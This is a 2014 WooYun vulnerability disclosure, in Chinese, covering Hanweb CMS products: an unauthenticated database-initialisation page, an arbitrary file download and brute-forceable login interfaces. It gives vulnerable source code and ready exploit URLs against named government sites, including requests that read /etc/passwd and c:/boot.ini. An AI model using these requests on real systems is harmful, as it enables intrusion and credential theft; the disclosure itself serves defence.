当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-052908

漏洞标题:大汉相关系统漏洞合集(完结篇)

相关厂商:南京大汉网络有限公司

漏洞作者: wefgod

提交时间:2014-03-06 09:24

修复时间:2014-06-04 09:25

公开时间:2014-06-04 09:25

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-06: 细节已通知厂商并且等待厂商处理中
2014-03-06: 厂商已经确认,细节仅向厂商公开
2014-03-09: 细节向第三方安全合作伙伴开放
2014-04-30: 细节向核心白帽子及相关领域专家公开
2014-05-10: 细节向普通白帽子公开
2014-05-20: 细节向实习白帽子公开
2014-06-04: 细节向公众公开

简要描述:

太折腾了,没精力了,太累了,完结篇了,以后估计不看鸟。而且厂商给的rank……rank不是你的,都算乌云的……不用太吝啬这个东西。
简单提下内容:
基本所有系统都存在的一处越权;
JCMS & xxgk 通用的一处任意文件下载;
JCMS & xxgk 通用的两处暴力破解接口;
就这么当完结篇了!冲击我的1000rank,然后该稍微歇着了。

详细说明:

基本所有系统大部分版本都还存在的一个越权:

<%@ page contentType="text/html;charset=UTF-8"%>
<%@page import="com.hanweb.common.util.Convert"%>
<%@page import="com.hanweb.sys.Install"%>
<%
String main_ip = Convert.getParameter( request,"dbip");
String main_port = Convert.getParameter( request,"dbport");
String main_dbname = Convert.getParameter( request,"dbname");
String main_user = Convert.getParameter( request,"dbuser");
String main_pwd1 = Convert.getParameter( request,"dbpwd1");
//数据库类型
String dbtype = Convert.getParameter( request,"dbtype");
int ndbtype = Convert.getStringValueInt( dbtype );
String strRealPath = application.getRealPath("");

//创建表,初始化数据
Install install = new Install( strRealPath );
boolean bl = install.setDBServer( ndbtype,main_ip,main_port,main_dbname,main_user,main_pwd1 );
String strMessage = "";

//修改配置文件
String iniPath = strRealPath + "/WEB-INF/ini/merpserver.ini";
com.hanweb.common.util.IniFile ini = new com.hanweb.common.util.IniFile( iniPath );
ini.readIni();
ini.setIniValue("b_init","1");
ini.writeIni();

//写日志文件
String errpath = strRealPath + "/setup/log/init_error.txt";
install.writeErrorLog( errpath );

if( bl )
strMessage = "创建成功,请重新启动中间件!";
else
strMessage = "创建失败,请查看日志文件!";
out.println( Convert.getAlterScript( " parent.createIndex.style.visibility='hidden';") );
out.println( Convert.getAlterScript( "alert('"+strMessage+"');") );
%>


初始化数据库到指定IP数据库服务器去的,大部分系统大部分版本都是处于没有验证的状态。
给案例
Source:
http://www.gansu.gov.cn/source/setup/opr_initdb.jsp?dbip=1.1.1.1&db_port=1433&dbname=test&dbuser=admin123&dbpwd1=admin123&dbtype=2

image001.png


Jiep:
http://www.gansu.gov.cn/jiep/setup/opr_initdb.jsp?dbip=1.1.1.1&db_port=1433&dbname=test&dbuser=admin123&dbpwd1=admin123&dbtype=2

image003.png


Vipchat:
http://www.liaocheng.gov.cn/vipchat/setup/opr_initdb.jsp?dbip=1.1.1.1&db_port=1433&dbname=test&dbuser=admin123&dbpwd1=admin123&dbtype=2

image005.png


LM
http://www.liaocheng.gov.cn/lm/setup/opr_initdb.jsp?dbip=1.1.1.1&db_port=1433&dbname=test&dbuser=admin123&dbpwd1=admin123&dbtype=2

image007.png


漏洞证明:

JCMS & xxgk 任意文件下载
关键代码:

<%@page contentType="text/html;charset=UTF-8"%><%@page 
import="jcms.util.DownFile"%><%@page import="com.hanweb.common.util.Convert"%><%
//原文件名
String strFileName = Convert.getParameter(request,"filename");
//要保存的文件名
String downloadname = Convert.getParameter(request,"savename");

/*下载文件*/
//downloadname = new String( downloadname.getBytes("GBK"), "iso-8859-1");

out.clear();
response.reset();
if(!DownFile.getFile(strFileName,downloadname,response,"UTF-8")){
//response.setContentType("text/html");
//response.setCharacterEncoding("utf-8");
out.println(Convert.getAlterScript("alert('下载失败,文件可能不存在!');"));
}
%>


其中filename为绝对路径。
先看xxgk的案例:
http://xxgk.qidong.gov.cn/gov/m_5_9/downfile.jsp?filename=/etc/passwd&savename=1

image009.png


http://xxgk.tzhl.gov.cn/xxgk/m_5_9/downfile.jsp?filename=/etc/passwd&savename=1

image010.png


http://xxgk.qidong.gov.cn/gov/m_5_9/downfile.jsp?filename=/etc/passwd&savename=1

image011.png


再看JCMS的案例:
http://www.xwzf.gov.cn/jcms/m_5_9/downfile.jsp?filename=/etc/passwd&savename=1

image012.png


http://www.huimin.gov.cn/jcms/m_5_9/downfile.jsp?filename=c:/boot.ini&savename=1

image013.png


暴力破解1——某接口可以暴力破解用户名密码

<%@page contentType="text/html;charset=UTF-8" %><%@page import="com.hanweb.common.util.Convert"%><%@page import="com.hanweb.common.log.LogWriter"%><jsp:useBean id="virify" class="jcms.blf.receive.Verify"></jsp:useBean>
<%String strErrorInfo = "<html><body>error</body></html>";
String strOptions = "";
// 准备数据
String strLoginId = Convert.getParameter(request, "userid");
String strPassword = Convert.getParameter(request, "password");
// 验证用户
if (!virify.isExist(strLoginId, strPassword)) {
LogWriter.error("Error: the user is not exists or password is wrong!");
out.write(strErrorInfo);
} else {
// 获取网站结构的xml
strOptions = virify.getUserWeb(strLoginId);
out.write(strOptions);
}%>


http://www.gansu.gov.cn/xxgk/interface/web.jsp?userid=admin&password=#####
正确情况下的回显:

image018.png


错误情况下的回显:

image019.png


工具测试发了5000多个请求,没问题,可破解成功,错误是33b,正确的56b

image020.png


Jcms也是有用到类似的代码的:
http://www.huimin.gov.cn/jcms/interface/web.jsp

image022.png


暴力破解也是可行的。
暴力破解2——另一接口也可以暴力破解

<%@page contentType="text/html;charset=UTF-8" %><%@page import="com.hanweb.common.util.Convert"%><%@page import="com.hanweb.common.log.LogWriter"%><jsp:useBean id="virify" class="jcms.blf.receive.Verify"></jsp:useBean>
<%String strErrorInfo = "<html><body>error</body></html>";
String strXML = "";
// 准备数据
String strLoginId = Convert.getParameter(request, "userid");
String strPassword = Convert.getParameter(request, "password");
// 验证用户
if (!virify.isExist(strLoginId, strPassword)) {
LogWriter.error("Error: the user is not exists or password is wrong!");
out.write(strErrorInfo);
} else {
// 获取网站结构的xml
strXML = virify.getXML(strLoginId, strPassword, strErrorInfo);
out.write("<html><body>" + strXML + "</body></html>");
}%>


http://www.gansu.gov.cn/xxgk/interface/verify.jsp
密码正确的情况:

image023.png


错误的情况:

image024.png


Jcms案例:
http://www.huimin.gov.cn/jcms/interface/verify.jsp
不再进行测试。
最后附送一处好像是越权的地方,厂商自己评估是否是开放给民众下载的通道:
http://www.gansu.gov.cn/xxgk/jcms_files/jcms1/web1/site/zfxxgk/downinfo.jsp

image015.png


image017.png

修复方案:

嗯。辛苦了,拜拜了,哥歇着去了…………

版权声明:转载请注明来源 wefgod@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-03-06 10:06

厂商回复:

非常感谢您对大汉产品的关注以及对产品安全方面的指正,已经安排处理

最新状态:

暂无